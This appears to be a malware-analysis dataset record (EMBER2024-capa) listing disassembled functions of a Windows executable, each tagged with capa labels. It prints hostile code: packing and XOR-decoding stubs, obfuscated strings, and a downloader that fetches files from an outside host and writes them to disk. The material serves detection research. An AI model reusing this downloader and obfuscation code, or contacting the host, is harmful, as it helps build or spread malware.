joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e60
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x401ebd
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x401e80
mov eax, dword [esi]
jmp 0x401f9b
cmp eax, 0x4e0
jb 0x401f9b
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x401ed6
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x401f21
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402a3e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402a7d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402a7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402a7d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402a7d
cmp dword [ecx + 0x74], 0xe
jbe 0x402a7d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40134c
Capabilities:
Contain obfuscated stackstrings
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x56b760]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x34], 0x502f3a43
mov dword [ebp - 0x30], 0x72676f72
mov dword [ebp - 0x2c], 0x46206d61
mov dword [ebp - 0x28], 0x73656c69
mov dword [ebp - 0x24], 0x38782820
mov dword [ebp - 0x20], 0x4d2f2936
mov dword [ebp - 0x1c], 0x6f726369
mov dword [ebp - 0x18], 0x74666f73
mov dword [ebp - 0x14], 0x6c695320
mov dword [ebp - 0x10], 0x6c726576
mov dword [ebp - 0xc], 0x74686769
mov word [ebp - 8], 0x65
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fa68a
leave
ret

Function at 0x4013c7
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x25
call edi
mov esi, dword [sym.imp.GDI32.dll_OffsetRgn]
mov ebx, 0x8000
test ebx, eax
je 0x401403
mov eax, dword [0x56cef8]
cmp dword [0x56cef0], eax
jle 0x401403
sub dword [0x56cef0], eax
push 0
neg eax
push eax
push dword [0x56cf28]
call esi
push 0x27
call edi
test ebx, eax
je 0x401430
mov eax, dword [0x56cef0]
add eax, 0x1c
cmp eax, 0x190
jge 0x401430
mov eax, dword [0x56cef8]
add dword [0x56cef0], eax
push 0
push eax
push dword [0x56cf28]
call esi
push 0x26
call edi
test ebx, eax
je 0x401458
mov eax, dword [0x56cef8]
cmp dword [0x56cef4], eax
jle 0x401458
sub dword [0x56cef4], eax
neg eax
push eax
push 0
push dword [0x56cf28]
call esi
push 0x28
call edi
test ebx, eax
je 0x401485
mov eax, dword [0x56cef4]
add eax, 0x2f
cmp eax, 0x190
jge 0x401485
mov eax, dword [0x56cef8]
add dword [0x56cef4], eax
push eax
push 0
push dword [0x56cf28]
call esi
mov ecx, dword [0x56cef4]
lea eax, [ecx + 0xe]
push eax
mov eax, dword [0x56cef0]
lea edx, [eax + 0xe]
push edx
push ecx
push eax
push 0x56cefc
call dword [sym.imp.USER32.dll_SetRect]
pop edi
pop esi
pop ebx
ret

Function at 0x4014a9
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x56b760]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0x124
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.004fa610
add esp, 0xc
push 0
push 2
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32First
jmp 0x40151b
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.004fa819
pop ecx
pop ecx
test eax, eax
je 0x401538
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4014fb
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004fa68a
leave
ret 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x124]
jmp 0x401528
Function at 0x4052a6
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
mov eax, dword [0x56b760]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x80c], ecx
mov dword [ebp - 0x808], ebx
push dword [ebp - 0x808]
mov ecx, 0x573c60
call fcn.00403972
push eax
call fcn.004044fe
inc dword [ebp - 0x808]
cmp dword [ebp - 0x808], 0xa
pop ecx
jl 0x4052d0
mov eax, dword [ebp - 0x80c]
push ebx
push ebx
push ebx
push ebx
add eax, 0xb8
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x810], eax
cmp eax, ebx
jne 0x40531d
xor al, al
jmp 0x4053db
cmp dword [esi + 0x14], 0x10
jb 0x405325
mov esi, dword [esi]
push ebx
push SysReAllocString
push ebx
push ebx
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
je 0x405316
cmp dword [edi + 0x14], 0x10
jb 0x405343
mov edi, dword [edi]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x10000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405316
mov dword [ebp - 0x808], ebx
push 0x7ff
lea eax, [ebp - 0x803]
push ebx
push eax
mov byte [ebp - 0x804], bl
call fcn.004fa610
add esp, 0xc
lea eax, [ebp - 0x808]
push eax
push 0x800
lea eax, [ebp - 0x804]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 0x808]
lea eax, [ebp - 0x804]
push eax
push edi
mov dword [ebp - 0x80c], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x808], ebx
ja 0x405362
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x810]
call esi
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004fa68a
leave
ret 8
Function at 0x405ebf
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xcc
mov eax, 0x516b94
call fcn.004fb1d5
lea eax, [ebp - 0x1c]
push eax
mov esi, ecx
lea edi, [esi + 0x30]
push section..data
push edi
mov dword [ebp - 0x1c], 0x6764656d
mov dword [ebp - 0x18], 0x78652e65
mov word [ebp - 0x14], 0x65
call fcn.004fc0dc
push 2
pop eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
xor ebx, ebx
lea eax, [ebp - 0xb4]
push 6
inc ebx
push eax
mov dword [ebp - 0xb4], 7
mov dword [ebp - 0xa8], 3
mov dword [ebp - 0xa4], 0x16
mov dword [ebp - 0xa0], ebx
call fcn.004012e6
add esp, 0x14
mov dword [ebp - 0xd8], ebx
push dword [ebp - 0xb4]
call fcn.00404518
pop ecx
test al, al
je 0x405f70
push 0x52525c
push dword [ebp - 0xd8]
mov ecx, 0x573c60
call fcn.00403972
push eax
call fcn.004035f7
pop ecx
pop ecx
inc dword [ebp - 0xd8]
cmp dword [ebp - 0xd8], 0x64
jle 0x405f43
push 0x7f
lea eax, [ebp - 0x9b]
push 0
push eax
mov byte [ebp - 0x9c], 0
call fcn.004fa610
push ebx
lea eax, [ebp - 0x9c]
push str.http:__www.jiulaoshiss.xyz_gamefile__d.txt
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp - 0xb4]
call fcn.00404518
add esp, 0x1c
push edi
mov ecx, esi
call fcn.00404dcc
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0xd4]
call fcn.004053ec
and dword [ebp - 4], 0
push edi
lea ecx, [ebp - 0xb8]
call fcn.004053ec
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0xb8]
push eax
mov ecx, esi
mov byte [ebp - 4], bl
call fcn.004052a6
push 0
push ebx
lea ecx, [ebp - 0xb8]
movzx esi, al
call fcn.0040261b
push 0
push ebx
lea ecx, [ebp - 0xd4]
call fcn.0040261b
mov eax, esi
call fcn.004fb258
ret

Function at 0x406020
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x148
mov eax, 0x516bd2
call fcn.004fb1d5
xor ebx, ebx
push 0x7f
lea eax, [ebp - 0x9b]
push ebx
push eax
mov edi, ecx
mov byte [ebp - 0x9c], bl
call fcn.004fa610
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x9c]
push section..data
push eax
mov dword [ebp - 0x1c], 0x655f776e
mov dword [ebp - 0x18], 0x642e666c
mov word [ebp - 0x14], 0x6c6c
mov byte [ebp - 0x12], bl
call fcn.004fc0dc
push 0x7f
lea eax, [ebp - 0x11b]
push ebx
push eax
mov byte [ebp - 0x11c], bl
call fcn.004fa610
push 2
lea eax, [ebp - 0x11c]
push str.http:__www.jiulaoshiss.xyz_gamefile__d.txt
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
xor esi, esi
add esp, 0x30
inc esi
push esi
call fcn.00404518
pop ecx
test al, al
je 0x4060c6
push 0x52525c
push esi
mov ecx, 0x573c60
call fcn.00403972
push eax
call fcn.004035f7
pop ecx
pop ecx
inc esi
cmp esi, 0x64
jle 0x4060a3
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x138]
call fcn.004053ec
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x154]
mov dword [ebp - 4], ebx
call fcn.004053ec
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x154]
push eax
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.004052a6
push ebx
push 1
lea ecx, [ebp - 0x154]
movzx esi, al
call fcn.0040261b
push ebx
push 1
lea ecx, [ebp - 0x138]
call fcn.0040261b
mov eax, esi
call fcn.004fb258
ret
Function at 0x40e2ed
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5198ae
call fcn.004fb16c
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x40e312
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40e364
call fcn.0040af59
push eax
lea ecx, [ebp - 0x10]
call fcn.00401fb5
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004fc7f8
push eax
call fcn.00407732
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040101a
mov eax, esi
call fcn.004fb244
ret 8

Function at 0x417ae4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x417b2b
call fcn.0040923f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x417b2b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x417b47
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004175e9
mov esi, eax
test edi, edi
je 0x417b45
test ebx, ebx
je 0x417b45
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x422f07
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.00422bc6
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x422f51
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00415aa4
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040d4cb
jmp 0x422f5c
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041923b
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x422f64
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0040dfb7
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x422fa1
call fcn.00422bc6
mov dword [esi + 0xc], 1
jmp 0x422fa6
call fcn.00422bc6
cmp dword [esi], 0
je 0x422fef
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x422fc7
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00415aa4
jmp 0x422fd9
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.0040256a
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040d4cb
jmp 0x423013
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x423013
push dword [esi]
push dword [ebp + 8]
call fcn.0041923b
pop esi
pop ebp
ret 0xc

Function at 0x448f54
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0040923f
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x448f8d
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00448b96
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x448feb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x44900f
cmp dword [edi + 0x74], 0
jne 0x44900f
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0040923f
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00448fac
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x44e72e
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004d1b6a
call fcn.00408c5c
cmp dword [eax + 0x14], 0
jne 0x44e74b
mov ecx, esi
pop esi
jmp fcn.0044e233
pop esi
ret

Function at 0x451d22
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0046ed05
call fcn.00408c5c
cmp dword [eax + 0x14], 0
jne 0x451d3f
mov ecx, esi
pop esi
jmp fcn.004516f5
pop esi
ret
Function at 0x487e08
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x487e22
call fcn.0040923f
mov esi, dword [eax + 0xc]
push dword [0x571530]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x487e40
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x487e38
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x487e6d
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x487e3a
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.00487d36
mov esi, eax
jmp 0x487e5f

Function at 0x4dad18
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4dad30
mov edi, dword [esi + 0xc]
jmp 0x4dad70
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4dad49
call fcn.00409d41
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4dad5e
call fcn.00409d41
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4dad70
call fcn.00409d41
call fcn.0040923f
cmp dword [eax + 0x3c], 0
je 0x4dad85
push edi
mov ecx, ebx
call fcn.004d9b54
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004dac32
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4dada3
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4dadaf
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4fa68a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x56b760]
jne 0x4fa694
repz ret
jmp fcn.00501d75
Function at 0x51197c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x56b760]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00502898
and dword [ebp - 0x14], 0
cmp dword [0x573ab4], 0
mov dword [ebp - 0x18], eax
jne 0x511a2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x511ad7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x511ad7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x54c648
push ebx
mov dword [0x573ab4], eax
call edi
push eax
call esi
push 0x54c634
push ebx
mov dword [0x573ab8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x573abc], eax
call edi
push eax
call esi
mov dword [0x573ac4], eax
test eax, eax
je 0x511a2f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x573ac0], eax
mov eax, dword [0x573ac0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x511a88
cmp dword [0x573ac4], ecx
je 0x511a88
push eax
call esi
push dword [0x573ac4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x511a88
test ebx, ebx
je 0x511a88
call edi
test eax, eax
je 0x511a7f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x511a7f
test byte [ebp - 8], 1
jne 0x511a88
or dword [ebp + 0x10], 0x200000
jmp 0x511abb
mov eax, dword [0x573ab8]
cmp eax, dword [ebp - 0x18]
je 0x511abb
push eax
call esi
test eax, eax
je 0x511abb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x511abb
mov eax, dword [0x573abc]
cmp eax, dword [ebp - 0x18]
je 0x511abb
push eax
call esi
test eax, eax
je 0x511abb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x573ab4]
call esi
test eax, eax
je 0x511ad7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x511ad9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004fa68a
leave
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219